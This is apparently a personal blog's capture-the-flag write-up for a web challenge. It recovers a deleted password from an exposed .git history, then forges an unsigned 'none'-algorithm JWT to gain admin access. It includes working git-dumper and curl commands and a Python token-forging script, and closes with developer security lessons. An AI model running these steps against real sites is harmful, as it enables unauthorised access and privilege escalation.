Skip to main content
  1. Posts/

Codeur de Vibe - CTF Writeup

Table of Contents

Challenge Information
#

  • Name: Codeur de Vibe
  • Category: Web
  • Points: 150

Challenge Description
#

Vibez et inchallah, si tu ne le git pas, oublie ça !

Target: http://54.72.82.22:8051/

The challenge hint emphasized “git”, suggesting we should look for an exposed Git repository.

Reconnaissance
#

Testing for .git directory exposure:

1
curl http://54.72.82.22:8051/.git/HEAD

Response:

1
ref: refs/heads/master

The .git directory is exposed!

Dumping the Git Repository
#

Setting up the environment and using git-dumper:

1
2
3
4
python3 -m venv venv
source venv/bin/activate
pip install git-dumper
git-dumper http://54.72.82.22:8051/.git/ git-dump

Analyzing Git History
#

Examining the commit history:

1
2
cd git-dump
git log --all --oneline --graph

Output:

1
2
3
* 5b5c1f5 (HEAD -> master) Update UI
* ebc7901 Delete test user for production
* 8312088 Initial commit

The commit “Delete test user for production” looked suspicious.

Finding Deleted Credentials
#

Checking what was deleted in commit ebc7901:

1
git show ebc7901

Found deleted test credentials in app.js:

1
2
3
4
5
6
// Test user credentials
// TODO: Delete this in production
const USER = {
    username: 'dinesh',
    password: 'v1b3*C04eR'  // "vibe coder" in leetspeak!
};

The password v1b3*C04eR is “vibe coder” in leetspeak, connecting to the challenge name!

Identifying the JWT Vulnerability
#

Examining the current app.js revealed a critical vulnerability:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
function verifyToken(req, res, next) {
    const token = req.cookies.token;
    if (!token) return res.redirect('/');
    try {
        // This line allows 'none' algorithm and skips signature verification
        const decoded = jwt.decode(token); // ❗ Uses decode instead of verify!
        req.user = decoded;
        next();
    } catch (err) {
        return res.redirect('/');
    }
}

The vulnerability: The code uses jwt.decode() instead of jwt.verify(), which means it doesn’t verify the JWT signature. This allows forging tokens!

Logging In
#

First, logged in with the discovered credentials:

1
2
curl -c cookies.txt -X POST http://54.72.82.22:8051/login \
  -d "username=dinesh&password=v1b3*C04eR"

Result: Successfully logged in as a non-admin user.

Analyzing the Real Token
#

Extracted and decoded the legitimate token from the cookies:

1
cat cookies.txt | grep token

Token:

1
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImRpbmVzaCIsInByaXZfYWRtaW4iOmZhbHNlLCJpYXQiOjE3NTk1MTYyODAsImV4cCI6MTc1OTUxOTg4MH0.rIG3pLQBEbaAPvbl2CbSi00BELvTEJxZYUVkKCxzUjI

Decoded payload:

1
2
3
4
5
6
{
  "username": "dinesh",
  "priv_admin": false,
  "iat": 1759516280,
  "exp": 1759519880
}

Key finding: The admin privilege is controlled by the priv_admin field.

Forging an Admin Token
#

Created a Python script to forge a JWT with priv_admin: true:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import base64
import json
import time

# Decode the real token first
real_token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImRpbmVzaCIsInByaXZfYWRtaW4iOmZhbHNlLCJpYXQiOjE3NTk1MTYyODAsImV4cCI6MTc1OTUxOTg4MH0.rIG3pLQBEbaAPvbl2CbSi00BELvTEJxZYUVkKCxzUjI"

parts = real_token.split('.')
header = json.loads(base64.urlsafe_b64decode(parts[0] + '=='))
payload = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))

print("Real token header:", header)
print("Real token payload:", payload)

# Create forged token with priv_admin = true
forged_payload = {
    "username": "dinesh",
    "priv_admin": True,  # Changed to True!
    "iat": int(time.time()),
    "exp": int(time.time()) + 3600
}

# Use 'none' algorithm to bypass signature verification
forged_header = {"alg": "none", "typ": "JWT"}
header_b64 = base64.urlsafe_b64encode(json.dumps(forged_header, separators=(',', ':')).encode()).decode().rstrip('=')
payload_b64 = base64.urlsafe_b64encode(json.dumps(forged_payload, separators=(',', ':')).encode()).decode().rstrip('=')
forged_token = f"{header_b64}.{payload_b64}."

print("\nForged token:")
print(forged_token)

Forged token:

1
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VybmFtZSI6ImRpbmVzaCIsInByaXZfYWRtaW4iOnRydWUsImlhdCI6MTc1OTUxNjMxMCwiZXhwIjoxNzU5NTE5OTEwfQ.

Getting the Flag
#

Used the forged token to access the admin dashboard:

1
2
3
FORGED_TOKEN="eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VybmFtZSI6ImRpbmVzaCIsInByaXZfYWRtaW4iOnRydWUsImlhdCI6MTc1OTUxNjMxMCwiZXhwIjoxNzU5NTE5OTEwfQ."

curl -b "token=$FORGED_TOKEN" http://54.72.82.22:8051/dashboard

Response:

1
2
<p class="admin-message">You are the Admin!</p>
<p class="flag"><span class="flag-label">Flag:</span> safctf{65df3d82-64ec-4fe9-a31e-17v0-a3cd-0fjb}</p>

Flag: safctf{65df3d82-64ec-4fe9-a31e-17v0-a3cd-0fjb}

Vulnerabilities Exploited
#

  1. Exposed .git directory - Allowed dumping the repository and viewing commit history
  2. Sensitive data in Git history - Test credentials were committed before being deleted
  3. JWT None Algorithm Attack - Application used jwt.decode() instead of jwt.verify(), allowing signature bypass

Security Lessons
#

For Developers:
#

  1. Never commit sensitive credentials to Git - Even deleted data remains in history
  2. Use .gitignore for sensitive files - Prevent accidental commits
  3. Use jwt.verify() with proper signature verification - Never use jwt.decode() for authentication
  4. Disable the “none” algorithm - Configure JWT libraries to reject unsigned tokens
  5. Ensure .git directories are not publicly accessible - Add server configuration to block access

Attack Chain Summary:
#

1
2
Exposed .git → Git History Analysis → Found Deleted Credentials → 
Login Access → JWT Vulnerability Discovery → Token Forgery → Admin Access → Flag

Conclusion
#

This challenge demonstrated the importance of:

  • Proper Git hygiene and secrets management
  • Secure JWT implementation with signature verification
  • Server hardening to prevent directory exposure

The combination of multiple security misconfigurations led to full authentication bypass and admin privilege escalation.


Tools Used:

  • git-dumper
  • curl
  • Python (base64, json)

References:

I hope this was helpful
Posted:
Time since posted: calculating...
System.Motivation.Load()
Reply by Email
Adonijah Kiplimo
Author
Adonijah Kiplimo
Cybersecurity professional specializing in Network & Cloud Security, Digital Forensics, and Penetration Testing. Passionate about sharing knowledge and empowering others through hands-on security training.

Related